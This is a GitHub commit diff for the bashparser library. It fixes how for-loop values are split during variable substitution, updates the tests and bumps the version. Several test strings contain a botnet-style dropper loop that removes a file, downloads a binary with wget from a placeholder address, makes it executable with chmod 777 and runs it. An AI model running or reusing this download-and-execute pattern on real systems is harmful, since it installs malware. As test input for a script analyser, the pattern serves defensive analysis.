Skip to content

Commit 8484213

Browse files
Bug fixes in for loop
1 parent bfaef97 commit 8484213

File tree

4 files changed

+25
-16
lines changed

4 files changed

+25
-16
lines changed

bashparser/test/test_variable.py

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,10 +45,9 @@ def test_variable_replacement_functions(self):
4545
result_strings = bashlex.parse('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf arm\n wget http://127.0.0.1/words/arm -O\n chmod 777 arm\n ./arm ssh\n done') \
4646
+ bashlex.parse('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf arm5\n wget http://127.0.0.1/words/arm5 -O\n chmod 777 arm5\n ./arm5 ssh\n done') \
4747
+ bashlex.parse('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n wget http://127.0.0.1/words/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -O\n chmod 777 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ssh\n done')
48-
48+
4949
replaced_nodes = substitute_variables(for_node, var_list)
5050
self.assertTrue(replaced_nodes == result_strings)
51-
5251
# Test that list nodes replaced and returned properly
5352
nodes = bashlex.parse('n=1;a=2$n')
5453
result_nodes = bashlex.parse('n=1;a=21')
@@ -97,7 +96,7 @@ def test_update_variable_list(self):
9796
# Test for loops work with variable replacement
9897
for_node = bashlex.parse('for a in "$n"\n do\n echo something\n done')[0].list[0]
9998
new_var_list = update_var_list_with_for_loop(for_node, {'n':['one two three']})
100-
self.assertTrue(new_var_list == {'n':['one two three'], 'a':['one two three']})
99+
self.assertTrue(new_var_list == {'n':['one two three'], 'a':['one', 'two', 'three']})
101100
# Test for loops work with command substitution
102101
for_node = bashlex.parse('for a in "$(echo this)"\n do\n echo something\n done')[0].list[0]
103102
new_var_list = update_var_list_with_for_loop(for_node, {})
@@ -123,7 +122,7 @@ def test_update_var_list_with_for_loop(self):
123122
# Test for loops work with variable replacement
124123
for_node = bashlex.parse('for a in "$n"\n do\n echo something\n done')[0].list[0]
125124
new_var_list = update_var_list_with_for_loop(for_node, {'n':['one two three']})
126-
self.assertTrue(new_var_list == {'n':['one two three'], 'a':['one two three']})
125+
self.assertTrue(new_var_list == {'n':['one two three'], 'a':['one', 'two', 'three']})
127126
# Test for loops work with command substitution
128127
for_node = bashlex.parse('for a in "$(echo this)"\n do\n echo something\n done')[0].list[0]
129128
new_var_list = update_var_list_with_for_loop(for_node, {})

bashparser/variables.py

Lines changed: 20 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -268,16 +268,26 @@ def update_var_list_with_for_loop(for_nodes, var_list, replace_blanks=False):
268268
if not len(for_node.parts[value_index].parts):
269269
variable_value += for_node.parts[value_index].word.split(' ')
270270
else:
271-
for part in for_node.parts[value_index].parts:
272-
if part.kind == 'parameter':
273-
if part.value in var_list:
274-
variable_value += var_list [ part.value ]
275-
else:
276-
pass # The variable needs to have an empty value still
277-
if part.kind == 'commandsubstitution':
278-
value_nodes = substitute_variables(part, var_list, replace_blanks)
279-
for value_node in value_nodes:
280-
variable_value += [ str(NodeVisitor(value_node)) ]
271+
tmp_part = for_node.parts[value_index].parts[0]
272+
if len(for_node.parts[value_index].parts) == 1 and \
273+
hasattr(tmp_part, 'value') and tmp_part.value in var_list:
274+
275+
if len(var_list[tmp_part.value]) == 1:
276+
variable_value += var_list[ tmp_part.value ][0].split(' ')
277+
else:
278+
variable_value += var_list [ tmp_part.value ]
279+
280+
else:
281+
for part in for_node.parts[value_index].parts:
282+
if part.kind == 'parameter':
283+
if part.value in var_list:
284+
variable_value += var_list [ part.value ]
285+
else:
286+
pass # The variable needs to have an empty value still
287+
if part.kind == 'commandsubstitution':
288+
value_nodes = substitute_variables(part, var_list, replace_blanks)
289+
for value_node in value_nodes:
290+
variable_value += [ str(NodeVisitor(value_node)) ]
281291
value_index += 1
282292

283293
""" Update the var_list with the new forloop iterator values """

setup.cfg

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[metadata]
22
name = bashparser
3-
version = 0.15
3+
version = 0.16
44
author = Spencer Stingley
55
description = A framework for manipulating and analysing bash scripts
66
long_description = A framework for manipulating and analysing bash scripts

setup.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77

88
setuptools.setup(
99
name="bashparser",
10-
version="0.15",
10+
version="0.16",
1111
author="Spencer Stingley",
1212
author_email="[email protected]",
1313
description="A framework for manipulating and analysing bash scripts",

0 commit comments

Comments
 (0)